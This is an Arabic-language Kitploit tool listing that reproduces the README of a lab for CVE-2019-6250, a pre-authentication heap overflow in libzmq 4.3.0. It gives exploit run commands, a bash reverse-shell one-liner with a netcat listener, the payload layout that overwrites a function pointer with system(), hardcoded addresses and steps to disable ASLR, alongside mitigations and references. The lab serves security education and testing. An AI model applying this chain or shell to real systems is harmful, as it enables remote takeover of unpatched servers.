Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2019-6250-lab — مختبر شامل لاستغلال (RCE) قبل المصادقة لـ CVE-2019-6250 (libzmq <= 4.3.0، بروتوكول ZMTP/2.0) | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2019-6250-lab
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

مختبر شامل لاستغلال (RCE) قبل المصادقة لـ CVE-2019-6250 (libzmq <= 4.3.0، بروتوكول ZMTP/2.0)

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-6250 — مختبر RCE قبل المصادقة في libzmq

CVE CVSS Affected License

سلسلة RCE كاملة شاملة + مختبر قابل للتكرار لثغرة CVE-2019-6250، وهي تجاوز سعة المخزن المؤقت في الكومة قبل المصادقة في libzmq في v2_decoder_t::size_ready. يسمح تجاوز الحساب الحسابي لمؤشر uint64_t لمستخدم غير مصدق بالكتابة فوق مؤشر الدالة msg_t::content_t::ffn المجاور في مسار wire ZMTP/2.0، ثم تفعيلها عبر إغلاق مقبس TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).

بواسطة Nicolas Krassas (@dinosn).

للاستخدام المختبري فقط. تحتوي هذه الحزمة على libzmq 4.3.0 ضعيفة عمدًا. لا تعرض المنفذ 5555 خارج المختبر. تم إصلاح الثغرة منذ سبع سنوات في libzmq 4.3.1 (الالتزام 1a2ed127).


العرض التوضيحي

سلسلة system() — إثبات الملف

سلسلة النظام

صدفة عكسية — root تفاعلي

صدفة عكسية

اختبار تدخين آلي شامل من البداية للنهاية

اختبار تدخين آلي شامل


الخلاصة (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# داخل الحاوية:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- تم إنشاؤه بواسطة عملية خادم libzmq

الخلاصة (على المعدن العاري — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # بناء libzmq 4.3.0 + الهدف، تعطيل ASLR
sudo ./start_server.sh                # ربط tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # الأمر الافتراضي: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

الصدفة العكسية

root@kitploit:~
# الطرفية 1 — المستمع
nc -lvnp 4444

# الطرفية 2 — إطلاق السلسلة
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

يجب أن ترى شيئًا مشابهًا لـ:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

يؤكد سطر cannot set terminal process group (1355844) أن الصدفة تم إنشاؤها بواسطة عملية libzmq الهدف (PID 1355844)، وليس أي شيء قمت بتشغيله محليًا.


تخطيط المستودع

root@kitploit:~
.
├── README.md             # أنت هنا
├── server.c              # مستمع PULL صغير — الهدف الضعيف
├── exploit.py            # سلسلة RCE كاملة
├── setup.sh              # مزود المعدن العاري (استنساخ + بناء libzmq 4.3.0)
├── start_server.sh       # بدء/إعادة تشغيل الهدف
├── read_addresses.sh     # إعادة توليد ملف تعريف العناوين لصورة مختلفة
├── run_lab_test.sh       # اختبار تدخين آلي شامل من البداية للنهاية (مناسب لـ CI)
├── Dockerfile            # أمر واحد لإنشاء مختبر محوسب
└── screenshots/          # لقطات شاشة README (مولدة باستخدام charmbracelet/freeze)

الآلية

1. الثغرة

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- يلتف
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // مسار آمن
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // مسار aliasing صفري النسخ — _in_progress.data() == read_pos_
}

msg_size_ هو uint64_t كبير البايت يتحكم به المهاجم من رأس الإطار الكبير ZMTP/2.0. مع msg_size_ = 0xFFFFFFFFFFFFFFFF، يلتف المجموع read_pos_ + msg_size_ مودولو 2⁶⁴ وينتهي به الأمر أقل من الجانب الأيمن. يقيم فحص الحدود على أنه خطأ → يقع التنفيذ في مسار النسخ الصفري → رسالة _in_progress تقوم بتأويل المخزن المؤقت للاستقبال. يطلب المُفكِّك بعد ذلك من النواة 0xFFFFFFFFFFFFFFFF بايت إضافية في read_pos_، ويقوم recv() بسعادة بكتابة حمولتنا بعد نهاية المخزن المؤقت للاستقبال إلى المصفوفة content_t[] المجاورة (المخصصة في نفس قطعة malloc() في decoder_allocators.cpp:88).

2. السلسلة

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 بايت
[ مخزن الاستقبال ]                 8192 بايت  ← تبدأ البايتات بالهبوط عند read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 بايت
                                ↑ content_t[0] تبدأ عند read_pos_+8183

نرسل حمولة بطول 8224 بايت منظمة بحيث:

عندما نغلق مقبس TCP، يستدعي ~v2_decoder_t() للخادم _in_progress.close(). في msg_t::close:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

قام init_external_storage بتعيين _u.zclmsg.flags = 0، لذا فإن الاختصار OR يأخذ الفرع فورًا — حتى refcnt لا يتم التحقق منه. ffn المُستبدَل لدينا ينفذ.

لا يوجد ROP، ولا شيلكود، ولا تسريب معلومات: مجرد حل رمز واحد من libc وسلسلة أوامر مضمنة واحدة.

3. الوصول إلى v2_decoder_t بدون مصادقة

بالنظر إلى stream_engine.cpp:707:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- لا يوجد كائن آلية
    return true;
}

مسار ZMTP/2.0 ينشئ v2_decoder_t بـ لا آلية. فقط ZAP يرفض اتصالات 2.0، و ZAP معطل افتراضيًا. بمجرد أن يرسل النظير تحية ZMTP/2.0 ذات الـ 12 بايت (0xff + 8 أصفار + 0x7f + المراجعة 0x01 + نوع المقبس)، يتم تحليل كل بايت تالي بواسطة v2_decoder_t. لا مصادقة. لا مصافحة. لا آلة حالة آلية.


أدلة ASAN

اختياري: البناء مع -fsanitize=address وشاهد تقرير تجاوز سعة المخزن المؤقت في الكومة:

تقرير ASAN

تأكيد 0 bytes after 18160-byte region يؤكد حجم القطعة الذي حسبناه: 8 (atomic_counter) + 8192 (مخزن الاستقبال) + 249 × 40 (مصفوفة content_t) = 18160. موقع التخصيص في handshake_v2_0:719 يؤكد أن الثغرة تنشأ في مسار ZMTP/2.0 قبل المصادقة.


لماذا العناوين المضمنة

مع kernel.randomize_va_space=0، تكون قاعدة libc، وقاعدة libzmq، والكومة، ومنطقة malloc لخيط I/O جميعها في عناوين حتمية. يتم التقاط الملف الشخصي الافتراضي في exploit.py (DEFAULT_PROFILE) لبناء المختبر المرفق (Debian 12 / Kali 2024.1 / glibc 2.38، libzmq 4.3.0 وضع الإصدار -O2):

عند النقل إلى بناء glibc / libzmq مختلف، قم بتشغيل ./read_addresses.sh > profile.json بعد start_server.sh، ثم مرر --profile profile.json لبرنامج الاستغلال.

في هجوم عالم حقيقي ستحتاج إما إلى أولية تسريب معلومات أو استدعاء one-gadget لا يتطلب التحكم في الوسيطة. كلاهما خارج نطاق هذا المختبر — الهدف هنا هو إظهار خط الثغرة إلى الصدفة بشكل نظيف، وليس تجاوز ASLR.


وسائل التخفيف


التنظيف

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # استعادة ASLR الافتراضي

المراجع

  • HackerOne #477073 — الإفصاح الأصلي (Guido Vranken).
  • zeromq/libzmq PR #3353 — الإصلاح ذو السطر الواحد.
  • zeromq/libzmq issue #3351 — النقاش العام.
  • NVD CVE-2019-6250.
  • 37/ZMTP — مواصفات بروتوكول نقل الرسائل ZeroMQ.
  • شرح SystemTek.

المؤلف

Nicolas Krassas — @dinosn

الترخيص

MIT © Nicolas Krassas. المصدر الضعيف عمدًا libzmq 4.3.0 يتم جلبه في وقت البناء من المستودع العلوي المرخص بموجب LGPLv3-with-exceptions / MPLv2 — ينطبق ترخيصه على هذا الرمز بشكل منفصل.

إخلاء المسؤولية

لأبحاث الأمن الدفاعي والتعليم واختبار الأمن المصرح به فقط. لا تنشر البناء الضعيف المضمن خارج بيئة المختبر المحصور.

تنزيل الأداة
إزاحة الحمولةالبايتاتما يتم الكتابة فوقه
[0:16]حشو(في مخزن الاستقبال)
[16:K]سلسلة الأوامر + NUL(في مخزن الاستقبال — وسيطة system)
[K:8183]حشو(في مخزن الاستقبال)
[8183:8191]read_pos+16content_t[0].data (→ الأمر)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (هدف تدفق التحكم)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt
الحقلالقيمةالمصدر
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183مشتق من التخطيط
cmd_offset16أين نضع الأمر في الحمولة
الدفاعالتأثير
الترقية إلى libzmq ≥ 4.3.1تم الإصلاح. الالتزام 1a2ed127 يعيد كتابة فحص الحدود كـ msg_size_ > size_t(allocator.data()+size()-read_pos_) — لا يمكن حدوث تجاوز.
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) مع أي n موجبيخفف. يختصر فحص الحدود المعطل قبل أن يتمكن من الالتفاف.
تفعيل مصادقة ZAPيمنع اتصالات ZMTP/2.0 (مرفوضة في stream_engine.cpp:709). لا يصلح الثغرة؛ فقط يمنع المسار غير المصادق.
ASLRيبطئ التسليح لكنه لا يمنعه — أولية السلسلة نفسها غير متأثرة.
حمايات Canary/Stack / NX / RELROلا شيء من هذه يحمي اختطاف مؤشر دالة في الكومة.